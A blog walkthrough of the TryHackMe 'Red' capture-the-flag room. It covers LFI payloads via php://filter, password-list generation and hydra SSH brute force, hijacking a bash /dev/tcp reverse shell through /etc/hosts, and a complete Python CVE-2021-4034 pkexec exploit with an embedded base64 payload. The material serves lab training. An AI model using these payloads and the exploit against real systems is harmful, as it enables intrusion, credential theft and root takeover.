Red - TryHackMe Walkthrough

Gr8kind
10 min readJul 17, 2023

--

https://tryhackme.com/room/redisl33t

Red team Vs Blue team

Red

Initial Information Gathering

We start by doing a nmap scan for our reconnaissance phase.

root@gr8kind:~/tryhackme/Red# nmap 10.10.89.175 -A -sSCV -Pn 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 14:11 IST
Nmap scan report for 10.10.89.175
Host is up (0.095s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2741ce0f7864d6946f65b4dbec39f76 (RSA)
| 256 fb8473da6cfeb9195a6c654dd1723bb0 (ECDSA)
|_ 256 5e3775fcb364e2d8d6bc9ae67e604d3c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/16%OT=22%CT=1%CU=36246%PV=Y%DS=2%DC=T%G=Y%TM=64B3AD3
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST1
OS:1NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN
OS:(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 94.16 ms 10.11.0.1
2 94.26 ms 10.10.89.175

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.56 seconds

The Nmap scan was performed on the host with IP address 10.10.89.175, revealing two open ports: 22/tcp and 80/tcp.

The SSH service is running on port 22, using OpenSSH version 8.2p1 Ubuntu 4ubuntu0.5. The public keys for the SSH hostkey were also identified.

Port 80 has the HTTP service, running Apache httpd 2.4.41 (Ubuntu). The title of the web service indicates a business bootstrap template named Atlanta.

No precise OS matches were made for the host, although it’s likely running some version of Linux as per the provided service info.

Looking at the website on port 80, I realized that the ‘page=” parameter withing the URL (http://10.10.89.175/index.php?page=home.html) was being directly utilized to include content of local files into the output HTML, which indicated that it may have a LFI vulnerability.

Local File Inclusion (LFI) vulnerabilities typically exist when an application uses user-supplied input within a filesystem API without appropriately validating it.

Gaining Foothold

I tried basic LFI payload to access /etc/passwd file, but got no success.

http://10.10.89.175/index.php?page=../../../../../../../../../etc/passwd

Next, I tried to exploit this with PHP Wrappers.

I employed the php://filter wrapper in the URL. However, I opted to forego the base64 encoding, instead directly attempting to access the /etc/passwd file. The modified URL thus became:

http://10.10.89.175/index.php?page=php://filter/resource=/etc/passwd

Upon accessing this URL, the server responded by directly including the contents of the /etc/passwd file in the returned HTML

Looking at the contents of /etc/passwd , we can see 2 users by the name of ‘blue’ and ‘red’

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001::/home/red:/bin/bash

This discovery prompted the question: could there be any interesting or sensitive data within the home directory of this user?

I decided to utilize the same LFI vulnerability and traversed to the .bash_history file in the blue user's home directory. The .bash_history file typically contains a history of commands executed by the user in their shell, which can be a treasure trove of valuable information for an attacker.

Modifying the URL, I navigated directly to http://10.10.89.175/index.php?page=php://filter/resource=/home/blue/.bash_history

This gives us interesting commands used on the machine.

echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y

Looking at the hashcat command, it appears that the user is trying to generate a password list (passlist.txt) using the rule set best64.rule on a .reminder file.

Again, we try to read the content of .reminder file.

http://10.10.89.175/index.php?page=php://filter/resource=/home/blue/.reminder

This giver us a potential password.

which we’ll use to recreate the .reminder file on our attacker machine and try to generate “passlist.txt” file.

echo "su***********d!" > .reminder

Now, we run the hashcat command on our attacker machine using the newly created .reminder file.

From the nmap scan we knew that SSH port is open, so we try and bruteforce it using the passlist.txt

root@gr8kind:~/tryhackme/Red# hydra -l blue -P passlist.txt 10.10.89.175 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-16 14:35:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 117 login tries (l:1/p:117), ~8 tries per task
[DATA] attacking ssh://10.10.89.175:22/
[22][ssh] host: 10.10.89.175 login: blue password: ***************
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-16 14:35:06

Flag1

SSH to the machine using the password.

blue@red:~$ cat flag1
THM{Is_***********************3?}

Flag2

I tried to navigate to the red user's directory:

cd /home/red

However, as anticipated, my attempts to read flag2 hit a roadblock:

cat flag2

The response was the familiar and frustrating “Permission Denied” message. It seemed that the blue user also lacked the privileges to access the flag2 file in red's home directory.

Note: As a security measure, the system keeps on terminating our SSH connection, and also resets the SSH password for the user blue . You’’ll again have to run hydra and get a new password everytime you’re logged out.

The next step involved seeking a privilege escalation vector. To find potential vectors for privilege escalation, one popular method is to monitor the processes being run on the system. A tool that’s perfect for this task is pspy. It is a command-line utility that allows you to spy on processes running on a system without needing root privileges.

I transferred pspy from my attacker machine on the target system using a python server on my attacker machine.

On my attacker machine, I navigated to the directory containing pspy and started a Python HTTP server:

Transferring pspy

cd /path/to/pspy
python3 -m http.server 8000

Retrieving pspy on target machine

With the HTTP server running on my attacker machine, I moved over to the target system, where I was logged in as blue.

On the target system, I navigated to the /dev/shm directory and used wget to retrieve pspy from my HTTP server:

cd /dev/shm
wget http://[attacker IP]:8000/pspy64

Run pspy

chmod +x pspy64
./pspy64

While observing the output of pspy, I noticed some intriguing commands that immediately caught my attention.

pspy

bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

This seems to be a reverse shell backdoor set up by the privileged user. They have a listener set up on redrules.thm on port 9001, which is receiving the output from the shell and can send commands back. On diving deeper, I decided to peek into the /etc/hosts file on the target system.

blue@red:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter

I had observed the /usr/bin/echo command being executed, and now I had a potential way to use it. By combining these two elements, I had an opportunity to manipulate the /etc/hosts file to my advantage. I decided to add an entry for my attacking machine’s IP in the /etc/hosts file on the target machine. Given that the reverse shell connection was being made to redrules.thm, I wanted the target machine to resolve redrules.thm to my attacker IP.

I use the following command to add the attacker IP to /etc/hosts.

echo "<YOUR IP> redrules.thm" | tee -a /etc/hosts

Here, echo "10.11.27.152 redrules.thm" creates the text we want to append to the /etc/hosts file. This text is piped to tee -a /etc/hosts which, due to the -a (append) option, adds the line to the end of the /etc/hosts file.

Establishing the Reverse Shell

Now, with the new entry successfully added to the /etc/hosts file, redrules.thm was mapped to my attacker machine's IP address.

On my attacker machine, I set up a listener on port 9001 to catch the incoming reverse shell:

nc -lvnp 9001

BOOM!!! — We have a Reverse Connection.

Finally Flag2

root@gr8kind:~/tryhackme/Red# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.11.27.152] from (UNKNOWN) [10.10.89.175] 45230
bash: cannot set terminal process group (16847): Inappropriate ioctl for device
bash: no job control in this shell
red@red:~$ ls
ls
flag2
red@red:~$ cat flag2
cat flag2
THM{Y0u_won'**************************S}
red@red:~$

Gaining Root Access

Looking at the files and directories, we find .git directory which contains a pkexec file.

pkexec is a utility that is part of the PolicyKit suite, which provides a way for non-privileged processes to communicate with privileged ones. This utility is used to execute a specific command as another user, similar to sudo, but it adheres to PolicyKit's policy settings.

Initially, I attempted to exploit the pkexec utility using a method detailed on GTFOBins, an online resource that provides Unix binaries that can be exploited to bypass local security restrictions. However, this attempt didn't bear fruit. This could have been due to the specific configuration of the target system or the version of pkexec used.

Finally, we look at the version on pkexec and search for CVE entry!

red@red:~/.git$ apt-cache policy policykit-1
apt-cache policy policykit-1
policykit-1:
Installed: 0.105-26ubuntu1.1
Candidate: 0.105-26ubuntu1.3
Version table:

I found CVE-2021–4034, most of the available exploits I came across were written in C, which for various reasons, could not be executed on the target system. This could be due to restrictions on the system, missing dependencies, or the specific environment in which the pkexec binary was being run.

I discovered a Python exploit on GitHub that was designed to take advantage of the same vulnerability.

#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()

# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()

# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)

Transfer this exploit to the victim’s machine and execute it using python3.

root@red:/home/red/.git$ python3 hacked.py
python3 hacked.py
[+] Creating shared library for exploit code.
[-] GCONV_PATH=. directory already exists, continuing.
[-] exploit directory already exists, continuing.
[+] Calling execve()
# id
id
uid=0(root) gid=1001(red) groups=1001(red)
# cd /root
cd /root
# ls -la
ls -la
total 40
drwx------ 6 root root 4096 Apr 24 22:33 .
drwxr-xr-x 19 root root 4096 Aug 13 2022 ..
lrwxrwxrwx 1 root root 9 Aug 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Aug 13 2022 .cache
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Aug 14 2022 .selected_editor
drwx------ 2 root root 4096 Aug 13 2022 .ssh
-rw------- 1 root root 0 Apr 24 22:33 .viminfo
drwxr-xr-x 2 root root 4096 Apr 24 22:32 defense
-rw-r----- 1 root root 23 Aug 14 2022 flag3
drwx------ 3 root root 4096 Aug 13 2022 snap
# cat flag3
cat flag3
THM{Go**************G}
#

Successfully Pwned!!

Happy H4CK1NG…

--

--